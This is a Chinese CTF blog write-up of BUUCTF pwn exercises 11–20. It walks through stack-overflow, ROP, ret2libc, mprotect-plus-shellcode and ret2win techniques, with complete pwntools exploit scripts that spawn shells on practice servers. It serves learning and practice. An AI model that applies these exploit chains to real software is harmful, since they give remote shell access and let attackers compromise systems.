buuctf习题pwn(11~20)

第十一题bjdctf_2020_babystack

checksec一下
在这里插入图片描述
64位小端,nx,部分重定位
拖入ida
在这里插入图片描述
输入一个数字,再读入数字个字节
存在栈溢出漏洞
有后门函数
在这里插入图片描述
backdoor=0x04006E6
算了一下,溢出长度加上地址长度 0x10+8+8=0x20=32
所以而exp

from pwn import*
io=remote('node4.buuoj.cn',28601)
backdoor=0x04006E6
io.sendline(b'32')
payload=b'a'*0x18+p64(backdoor)
io.sendlineafter('name?\n',payload)
io.interactive()

这题打本地打不通,应该是本地环境和远程不一样,我打了一段时间本地觉得没写错,后来去找其他博客才知道本地打不了

第十二题 get_started_3dsctf_2016//需要常看复习mprotect函数

看了其他的博客这题有两个解法
checksec一下
在这里插入图片描述
三十二位小端,开启了nx保护
拖入ida在这里插入图片描述
main函数里有栈溢出漏洞
在这里插入图片描述
看一下栈,好像少了点什么哈
去看汇编代码
在这里插入图片描述

这里没有用ebp寄存器,所以填充栈时不用填充栈底寄存器ebp了就(看了其他师傅的wp才知道)
方法一:通过后门函数进行回显flag
exp如下:

from pwn import*
io=remote('node4.buuoj.cn',25018)
#io=process('./get_started_3dsctf_2016')
exit_addr=0x804E6A0#在ida中可以找到
get_flag_addr=0x80489A0
a1=814536271
a2=425138641
payload=b'a'*0x38+p32(get_flag_addr)+p32(exit_addr)+p32(a1)+p32(a2)
io.sendline(payload)
io.interactive()

获取flag
在这里插入图片描述
可能是远程环境不同,get_falg的返回地址一定要是exit,正常返回,异常返回不会回显flag。
方法二:修改某段地址的权限为可写可读可执行再ret2shellcode
介绍一个函数mprotect

int mprotect(void *addr, size_t len, int prot);
addr:指向目标内存区域的起始地址。

len:内存区域的长度(以字节为单位)。

prot:新的内存保护属性,可以使用以下标志按位或运算组合:

PROT_NONE:无法访问内存。
PROT_READ:可读取内存。
PROT_WRITE:可写入内存。
PROT_EXEC:可执行内存。
可以将proc设置为7表示可写可读可执行,就像chmod指令中的7一样

先要找一个可以传三个参数的gadget,随便选
指令

ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret'|grep pop

我选的是这个pop3_addr=0x0804f460
使用pop指令传参的原因是为了还原调用过程,不破坏栈
思路是用mprotect函数修改段地址的权限,再调用read函数设置参数fd为0即可从键盘输入shellcode。
再转到修改权限的段,需要发送两次payload
修改权限的地址的选择
因为内存分页系统,每个内存页的大小为4kb=212b=0x1000b,所以起始地址一定是后三位为000的地址,(之前看其他师傅的wp,直接就说因为内存分页系统,每个内存页大小为4kb所以后三位必须是000,真看不懂,我觉得是因为4kb=212=0x1000b,所以起始地址才必须是后三位为000)
然后改地址段权限就被要求是内存页的起始地址,也就是以000结尾的地址
在ida中按ctrl+s查看各段的起始地址和结束地址,双击转至位置
经过观察发现有起始位置是以后三位为000结尾的地址

在这里插入图片描述
我们选择这段地址为修改内存页权限的起始地址
m_addr=0x80EB000
说一下read函数

ssize_t read(int fd, void *buf, size_t count);
fd 设为0时就可以从输入端读取内容    设为0
buf 设为我们想要执行的内存地址      设为我们已找到的内存地址0x80EB000
size 适当大小就可以               只要够读入shellcode就可以,设置大点无所谓

exp如下

from pwn import*
io=remote('node4.buuoj.cn',25018)
elf=ELF('./get_started_3dsctf_2016')
mprotect_addr=elf.symbols['mprotect']
read_addr=elf.symbols['read']
pop3_addr=0x0804f460
m_addr=0x80EB000
size=0x1000
proc=0x7

payload=b'a'*0x38

payload+=p32(mprotect_addr)
payload+=p32(pop3_addr)
#mprotect三个参数
payload+=p32(m_addr)
payload+=p32(size)
payload+=p32(proc)

payload+=p32(read_addr)
#-----------------------
payload+=p32(pop3_addr)
#-----------------------
#read函数的三个参数
payload+=p32(0)
payload+=p32(m_addr)
payload+=p32(size)
#转到将要执行的位置,在函数读取shellcode之后,回到这个位置来执行shellcode
payload+=p32(m_addr)
io.sendline(payload)
payload=asm(shellcraft.sh())
io.sendline(payload)
io.interactive()

运行exp获取shell
在这里插入图片描述
再说一下我不理解的地方,就是将exp中(为了方便寻找我做了标记)

#-----------------------
payload+=p32(pop3_addr)
#-----------------------

修改为

payload+=p32(m_addr)

运行之后也可以拿到shell,希望能有大佬讲解一下

第十三题 jarvisoj_level2_x64

checksec一下

请添加图片描述

64位,开启了nx保护

拖入ida

{% asset_img jarvisoj_level2_x64_2.png %}

查看function函数

{% asset_img jarvisoj_level2_x64_3 %}

查看栈结构

在这里插入图片描述

偏移量:0x88

f12+shift查看字符串窗口

{% asset_img jarvisoj_level2_x64_5 %}

有/bin/sh和system

最终确认二者地址为

{% asset_img jarvisoj_level2_x64_6 %}

{% asset_img jarvisoj_level2_x64_7 %}

sys_addr=0x4004C0

bin_sh=0x600A90

因为文件是64位的,需要用rdi传参

又system函数有栈对齐的要求,需要ret来凑数

关于栈对齐,推荐一篇文章

关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题 - ZikH26 - 博客园

文章中说system函数要求在其之前16位栈对齐,是说在system之前的长度必须是16的倍数

(偏移量)0x88+(pop_rid)8+(bin_sh)8=0x98=152再加8是16的倍数

所以需要ret来栈对齐

查找pop_rid和pop_ret的gadget

ROPgadget --binary 文件名 --only ‘pop|ret’

{% asset_img jarvisoj_level2_x64_8 %}

payload如下

payload=b'a'*0x88+p64(pop_ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)

exp:

from pwn import*
#io=process("./level2_x64")
io=remote('node4.buuoj.cn',25190)
pop_rdi=0x4006b3
bin_sh=0x00600A90
sys_addr=0x4004C0
pop_ret=0x4004a1
payload=b'a'*0x88+p64(pop_ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
io.sendline(payload)
io.interactive()

但是打远程不对齐也能通

第十四题 [HarekazeCTF2019]baby_rop

checksec
在这里插入图片描述
64位,堆栈不可执行
拖入ida
在这里插入图片描述
f12+shift查看字符串窗口
找到好东西了,system和/bin/sh都有
在这里插入图片描述
查找地址后得到
bin_sh=0x601048
system=0x400490
再找溢出点,也很好找
在这里插入图片描述
ida给出的栈长度是对的
最终exp

from pwn import*
#io=process('./babyrop')
io=remote('node4.buuoj.cn',27885)
pop_rdi=0x400683
bin_sh=0x601048
system=0x400490
pop_ret=0x0400479
payload=b'a'*0x18+p64(pop_ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
io.sendline(payload)
io.interactive()

题目中提示ubuntu18,这个意思是要栈对齐,在之前的题目中提到过,就是system函数之前的字节数为16的倍数
所以这里用到pop_ret来凑数
有趣的是打通之后,
flag没有在当前目录,我还好奇的去群里问了一下,很快就找到方法
输入这条指令就能找到flag的位置

find / -name flag

第十五题 [OGeek2019]babyrop

checksec一下
在这里插入图片描述
32位,重定位表只读且堆栈不可执行
在ida中查看,没有后门等
只能ROPret2libc
main函数

int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h] BYREF
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]

  sub_80486BB();
  fd = open("/dev/urandom", 0);
  if ( fd > 0 )
    read(fd, &buf, 4u);
  v2 = sub_804871F(buf);
  sub_80487D0(v2);
  return 0;
}

/dev/urandom是Linux的一个生成随机数文件,0代表只读,但是open函数还是返回一个大于0的数,read函数将fd写给buf,因此buf处的数是随机的。
将buf作为参数传给sub_804871F返回值赋值给v2,将v2作为参数传给 sub_80487D0。

sub_804871F函数

int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
  char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
  ssize_t v5; // [esp+4Ch] [ebp-Ch]

  memset(s, 0, sizeof(s));
  memset(buf, 0, sizeof(buf));
  sprintf(s, "%ld", a1);
  v5 = read(0, buf, 0x20u);
  buf[v5 - 1] = 0;
  v1 = strlen(buf);
  if ( strncmp(buf, s, v1) )
    exit(0);
  write(1, "Correct\n", 8u);
  return (unsigned __int8)buf[7];
}

memset函数:将某一块区域内容设置为指定内容,多用于数组的初始化。
开始的两个 memset函数会将s和buf中元素都初始化为0.
sprintf函数,这个在我写c结课设计项目时遇到过,他是把a1打印在s上。
read函数从键盘读取0x20字节内容写入buf,并将返回值赋值给v5,查找资料的read函数返回值为读取的字节数。
接下来判断buf和s大小,相等返回0,不相等返回非0的数程序就会终止。因此第一个任务就是使比较结果为0
sub_80487D0函数

ssize_t __cdecl sub_80487D0(char a1)
{
  char buf[231]; // [esp+11h] [ebp-E7h] BYREF

  if ( a1 == 127 )
    return read(0, buf, 0xC8u);
  else
    return read(0, buf, a1);
}

这个就不用说了。
思路
在sub_804871F函数中,我们确定了第一个目的,防止程序退出,就要使strncmp(buf, s, v1)结果为0
可以看到v1 = strlen(buf);这个总能看到,又是\x00截断,在输入时设置第一个元素为\x00
最后返回的时buf[7],看sub_80487D0函数,我们需要将传入的参数尽可能大了写,这样才能栈溢出并进行想要的操作
所以在输入时就要将buf[7]也一起修改了。
另外,sendline函数的结束符也是算一个字节的,所以输入的时候只要*7就可以了
这里又用到了\这个符号,\为转义字符,’\xhh‘表示ASCII码值与’hh’这个十六进制数相等的符号,例如’\xff’表示ASCII码为255的符号。
这个用到扩展ASCII,因为键盘上能输入的字符对应最大的ASCII数不足以完成栈溢出。
关于这个推荐收藏
因此第一个payload

payload=b'\x00'+b'\xff'*7

题目给了libc库版本,我本来不想用的,但是LibcSearcher找不到对应的版本,即使更新了也找不到,没办法又学会了一种方法。
完整exp

from pwn import*
#from LibcSearcher import*
#io=process("./pwn")
io=remote("node4.buuoj.cn",26594)
elf=ELF("./pwn")
main_addr=0x8048825
payload=b'\x00'+b'\xff'*7
io.sendline(payload)
io.recvuntil('Correct\n')
write_plt=elf.plt['write']
write_got=elf.got['write']
payload1=b'a'*0xe7+b'a'*4+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
io.sendline(payload1)
write_addr=u32(io.recv(4))
print(hex(write_addr))
libc=ELF("./libc-2.23.so")
libcbase=write_addr-libc.symbols['write']
sys_addr=libcbase+libc.sym["system"]
bin_sh=libcbase+next(libc.search(b'/bin/sh'))
payload2=b'a'*0xe7+b'a'*4+p32(sys_addr)+p32(0)+p32(bin_sh)
io.sendline(payload)
io.recvuntil('Correct\n')
io.sendline(payload2)
io.interactive()

不想解释了,有些注意点

  1. 32位程序函数参数直接压入栈中,即函数地址->函数的返回地址->参数n->参数n-1>···>参数1
  2. bin_sh=libcbase+next(libc.search(b'/bin/sh'))行原本其他博客中是binsh_libc=libc.search('/bin/sh').next(),但是一用就报错,后来找到原因是因为python3取消了那种用法。

第十六题 ciscn_2019_n_5

checksec一下
在这里插入图片描述
基本没有保护,那就可以试试ret2shellcode了
拖入ida

也很简单,name是bss段的,name写shellcode,gets溢出到name执行shellcode
exp

from pwn import*
#io=process('./c')
context(os='linux',arch='amd64',log_level='debug')
io=remote('node4.buuoj.cn',25169)
shellcode_addr=0x601080
shellcode=asm(shellcraft.sh())
payload=b'a'*0x28+p64(shellcode_addr)
io.recvuntil(b'name\n')
io.sendline(shellcode)
io.recvuntil(b'me?\n')
io.sendline(payload)
io.interactive()

值得一提的是

context(os='linux',arch='amd64',log_level='debug')

这行代码是很主要的,它表明了系统以及版本,如果不表明系统,生成的shellcode是32位的,那样就打不通。
还有,打本地也打不通。

第十七题 others_shellcode

直接nc

第十八题 ciscn_2019_en_2

这个题和第八题是一样的,我没去了解为啥一样,重新做了一遍,仍是有不会的地方
checksec一下
在这里插入图片描述
64位,堆栈不可执行
ida
在这里插入图片描述
这是一个加密程序,选择1可以加密
这是加密函数
在这里插入图片描述
绕过加密的办法:通过\x00截断strlen获取加密长度
还是直接给exp再解释

from pwn import*
from LibcSearcher import*
context(os='linux',arch='amd64',log_level='debug')
#以前不会用,这次开始用感觉很方便,在接收数据时便于吸收其他没用的东西
io=remote('node4.buuoj.cn',26149)
#io=process('./ciscn_2019_en_2')
elf=ELF('./ciscn_2019_en_2')
pop_rdi=0x400c83
pop_ret=0x4006b9#这两个gadget很好找的
main_addr=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
io.recvuntil(b'choice!\n')
io.sendline(b'1')
io.recvuntil(b'encrypted\n')
payload=b'\x00'+b'a'*0x57+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
#前面是\x00截断,rid传参,got是参数,plt是函数,main是返回地址(这是64位调用函数的方式)
io.sendline(payload)
io.recvuntil(b'Ciphertext\n')
io.recvuntil(b'\n')
puts_addr=u64(io.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
#这个是接收一行,去除末尾换行符,补齐到8位,直接用u64(io.recv(8))不行接到的数据是错的,我觉得可能是换行符的原因
#print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
system=libcbase+libc.dump('system')
str_bin_sh=libcbase+libc.dump('str_bin_sh')
payload=b'\x00'+b'a'*0x57+p64(pop_ret)+p64(pop_rdi)+p64(str_bin_sh)+p64(system)
#又在这里卡了一下,题目说了是ubuntu18,system有栈对齐的,所以用ret来凑数
io.recvuntil(b'choice!\n')
io.sendline(b'1')
io.recvuntil('encrypted\n')
io.sendline(payload)
io.interactive()

第十九题 not_the_same_3dsctf_2016

checksec
在这里插入图片描述

32位堆栈不可执行
ida
main函数

nt __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[45]; // [esp+Fh] [ebp-2Dh] BYREF

  printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
  gets(v4);
  return 0;
}

有溢出
查看字符串窗口
在这里插入图片描述看到了flag.txt
跟进后找到了get_secret()函数

int get_secret()
{
  int v0; // esi

  v0 = fopen("flag.txt", &unk_80CF91B);
  fgets(&fl4g, 45, v0);
  return fclose(v0);
}

地址为get_secret=0x080489A0
这个函数打开了flag.txt文件并且存储到了fl4g位置
在这里插入图片描述
所以flag地址为flag_addr=0x80ECA2D
想要把flag输出,可以用printf、puts,我尝试了printf,但是没有成功,后来看了wp,都是用的write
改成用write
write有三个参数,一个是文件描述符(0,1,2),数据的地址,写入的长度。
第一个参数设置为1,代表输出流
栈结构不看了,多大都能溢出,还有看的结构里发现不用多溢出4,汇编显示最后没有用到ebp
payload我写了俩

payload1=b'a'*0x2d+p32(get_secret)+p32(main_addr)
payload2=b'a'*0x2d+p32(write_addr)+p32(0)+p32(1)+p32(flag_addr)+p32(45)
#第二个payload中,0是返回地址,45是根据get_secret()函数中可以得知flag长度为45

exp

from pwn import*
context(os='linux',arch='i386',log_level='debug')
io=remote('node4.buuoj.cn',28754)
elf=ELF('./not_the_same_3dsctf_2016')
get_secrec=0x80489A0
flag_addr=0x80ECA2D
write_addr=elf.sym['write']
main_addr=elf.sym['main']
payload1=b'a'*0x2d+p32(get_secrec)+p32(main_addr)
payload2=b'a'*0x2d+p32(write_addr)+p32(0)+p32(1)+p32(flag_addr)+p32(45)
io.sendline(payload1)
io.sendline(payload2)
io.interactive()

第二十题 ciscn_2019_ne_5

查看安全策略和反汇编

checksec

请添加图片描述

32位堆栈不可执行

ida

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // [esp+0h] [ebp-100h] BYREF
  char src[4]; // [esp+4h] [ebp-FCh] BYREF
  char v6[124]; // [esp+8h] [ebp-F8h] BYREF
  char s1[4]; // [esp+84h] [ebp-7Ch] BYREF
  char v8[96]; // [esp+88h] [ebp-78h] BYREF
  int *p_argc; // [esp+F4h] [ebp-Ch]

  p_argc = &argc;
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  fflush(stdout);
  *(_DWORD *)s1 = 48;
  memset(v8, 0, sizeof(v8));
  *(_DWORD *)src = 48;
  memset(v6, 0, sizeof(v6));
  puts("Welcome to use LFS.");
  printf("Please input admin password:");
  __isoc99_scanf("%100s", s1);
  if ( strcmp(s1, "administrator") )
  {
    puts("Password Error!");
    exit(0);
  }
  puts("Welcome!");
  puts("Input your operation:");
  puts("1.Add a log.");
  puts("2.Display all logs.");
  puts("3.Print all logs.");
  printf("0.Exit\n:");
  __isoc99_scanf("%d", &v4);
  switch ( v4 )
  {
    case 0:
      exit(0);
      return result;
    case 1:
      AddLog(src);
      result = sub_804892B(argc, argv, envp);
      break;
    case 2:
      Display(src);
      result = sub_804892B(argc, argv, envp);
      break;
    case 3:
      Print();
      result = sub_804892B(argc, argv, envp);
      break;
    case 4:
      GetFlag(src);
      result = sub_804892B(argc, argv, envp);
      break;
    default:
      result = sub_804892B(argc, argv, envp);
      break;
  }
  return result;
}

查看字符串窗口

{% asset_img ciscn_2019_ne_5_2.png %}

看到flag字样,跟进后

GetFlag函数

int __cdecl GetFlag(char *src)
{
  char dest[4]; // [esp+0h] [ebp-48h] BYREF
  char v3[60]; // [esp+4h] [ebp-44h] BYREF

  *(_DWORD *)dest = 48;
  memset(v3, 0, sizeof(v3));
  strcpy(dest, src);
  return printf("The flag is your log:%s\n", dest);
}

提示在log,找到有关log

addlog函数

int __cdecl AddLog(int a1)
{
  printf("Please input new log info:");
  return __isoc99_scanf("%128s", a1);
}

可以输入128字节,通过addlog函数给src写payload

再调用getflag函数,将src复制到dest,造成栈溢出,可以拿到shell

有了system还差/bin/sh,虽然没法直接找到/bin/sh的gadget,但是找到了sh的gadget

exp

from pwn import*
context(os='linux',arch='i386',log_level='debug')
io=remote('node4.buuoj.cn',26921)
#io=process('./ciscn_2019_ne_5')
str_sh=0x080482ea
system=0x80484D0
io.recvuntil(b'password:')
io.sendline(b'administrator')
io.recvuntil(b':')
io.sendline(b'1')
io.recvuntil(b'info:')
payload=b'a'*0x4c+p32(system)+b'0000'+p32(str_sh)
io.sendline(payload)
io.recvuntil(b':')
io.sendline(b'4')
io.interactive()
  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值